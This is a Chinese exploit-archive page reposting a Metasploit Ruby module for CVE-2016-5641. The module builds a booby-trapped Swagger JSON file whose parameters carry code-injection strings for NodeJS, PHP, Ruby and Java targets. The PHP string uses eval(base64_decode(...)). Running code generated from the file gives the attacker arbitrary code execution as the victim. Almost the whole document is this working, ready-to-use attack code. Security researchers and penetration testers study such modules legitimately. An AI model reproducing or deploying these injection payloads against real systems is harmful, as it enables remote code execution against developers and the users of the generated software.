首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
JSON Swagger CodeGen Parameter Injector
来源:metasploit.com 作者:ethersnowman 发布时间:2016-06-28  
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

#
# Gems
#
require 'base64'

#
# Project
#

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'JSON Swagger CodeGen Parameter Injector',
      'Description'    => %q{
        This module generates a Open API Specification 2.0 (Swagger) compliant
        json document that includes payload insertion points in parameters.

        In order for the payload to be executed, an attacker must convince
        someone to generate code from a specially modified swagger.json file
        within a vulnerable swagger-codgen appliance/container/api/service,
        and then to execute that generated code (or include it into software
        which will later be executed by another victim). By doing so, an
        attacker can execute arbitrary code as the victim user. The same
        vulnerability exists in the YAML format.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'ethersnowman <scott_davis@rapid7.com>'
        ],
      'References'     =>
        [
          [ 'URL', 'http://github.com/swagger-api/swagger-codegen' ],
          [ 'URL', 'https://community.rapid7.com/community/infosec/blog/2016/06/23/r7-2016-06-remote-code-execution-via-swagger-parameter-injection-cve-2016-5641' ]
        ],
      'Platform'       => %w{ nodejs php java ruby },
      'Arch'           => [ ARCH_NODEJS, ARCH_PHP, ARCH_JAVA, ARCH_RUBY ],
      'Targets'        =>
        [
          ['NodeJS', { 'Platform' => 'nodejs', 'Arch' => ARCH_NODEJS } ],
          ['PHP', { 'Platform' => 'php', 'Arch' => ARCH_PHP } ],
          ['Java JSP', { 'Platform' => 'unix', 'Arch' => ARCH_JAVA } ],
          ['Ruby', { 'Platform' => 'ruby', 'Arch' => ARCH_RUBY } ]
        ],
      'DisclosureDate' => 'Jun 23 2016',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME', [false, 'The file to write.', 'msf-swagger.json']),
        OptString.new('INFO_DESCRIPTION', [true, 'Swagger info description', 'A']),
        OptString.new('INFO_VERSION', [true, 'Swagger info version.', '1.0.0']),
        OptString.new('INFO_TITLE', [true, 'Swagger info title.', 'C']),
        OptEnum.new('SWAGGER_SCHEME', [true, 'Protocol scheme', 'http', ['http','https','ws','wss']]),
        OptString.new('SWAGGER_HOST', [true, 'a valid hostname or IPv4']),
        OptString.new('BASE_PATH', [true, 'The root path of API on host.', '/']),
        OptString.new('PATH', [true, 'Path of request/response on root path.', '/a']),
        OptString.new('PATH_DESCRIPTION', [true, 'Description of a path request object', 'D']),
        OptString.new('PATH_RESPONSE_DESCRIPTION', [true, 'Description of a path response object', 'E']),
        OptString.new('DEFINITION_DESCRIPTION', [true, 'Description of an object definition.', 'F'])
      ], self.class)
  end

  def swagger
    %Q(
      {
          "swagger": "2.0",
          "info": {
              "description": "#{datastore['INFO_DESCRIPTION']}",
              "version": "#{datastore['INFO_VERSION']}",
              "title": "#{datastore['INFO_TITLE']}"
          },
          "schemes": [
              "#{datastore['SWAGGER_SCHEME']}"
          ],
          "host": "#{datastore['SWAGGER_HOST']}",
          "basePath": "#{datastore['BASE_PATH']}",
          "produces": [
              "application/json"
          ],
          "consumes": [
              "application/json"
          ],
          "paths": {
              "#{datastore['PATH']}": {
                  "get": {
                      "description": "#{datastore['PATH_DESCRIPTION']}",
                      "responses": {
                          "200": {
                              "description": "#{datastore['PATH_RESPONSE_DESCRIPTION']}",
                              "schema": {
                                  "$ref": "#/definitions/d"
                              }
                          }
                      }
                  }
              }
          },
          "definitions": {
              "d": {
                  "type": "object",
                  "description": "#{datastore['DEFINITION_DESCRIPTION']}",
                  "properties": {
                      "id": {
                          "type": "integer",
                          "format": "int64"
                      }
                  }
              }
          }
      }
    )
  end

  def exploit
    case payload.arch[0]
    when 'nodejs'
      payload_loc = 'PATH'
      payload_prefix = "/a');};};return exports;}));"
      payload_suffix = "(function(){}(this,function(){a=function(){b=function(){new Array('"
      wrapped_payload = payload_prefix + payload.encoded + payload_suffix
    when 'php'
      payload_loc = 'INFO_DESCRIPTION'
      payload_prefix = "*/ namespace foobar; eval(base64_decode('"
      payload_suffix = "')); /*"
      wrapped_payload = payload_prefix +
        Base64.strict_encode64(payload.encoded) +
        payload_suffix
    when 'ruby'
      payload_loc = 'INFO_TITLE'
      payload_prefix = "=end "
      payload_suffix = "=begin "
      wrapped_payload = payload_prefix + payload.encoded + payload_suffix
    when 'java'
      payload_loc = 'PATH'
      payload_prefix = %q{a\\\"; "}
      p = payload.encoded.gsub(/<%@page import="/, 'import ')
      p = p.gsub(/\"%>/, ';').gsub(/<%/, '').gsub(/%>/, '')
      p = p.gsub(/"/, '\\"').gsub(/\n/, ' ')
      wrapped_payload = payload_prefix + p
    else
      raise IncompatiblePayloadError.new(datastore['PAYLOAD'])
    end

    datastore[payload_loc] = wrapped_payload

    print_status swagger
    file_create swagger
  end
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Untangle NGFW 12.1.0 Beta exec
·Prestashop Attribute Wizard Pr
·Ruby HTTP Header Injection
·Windows 7 SP1 x86 - Privilege
·HNB 1.9.18-10 - Local Buffer O
·Symantec Endpoint Protection M
·PInfo 0.6.9-5.1 - Local Buffer
·WordPress Ultimate Membership
·MyLittleForum 2.3.5 - PHP Comm
·Cuckoo Sandbox Guest 2.0.1 - X
·Tiki-Wiki CMS Calendar Command
·Ubiquiti Administration Portal
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved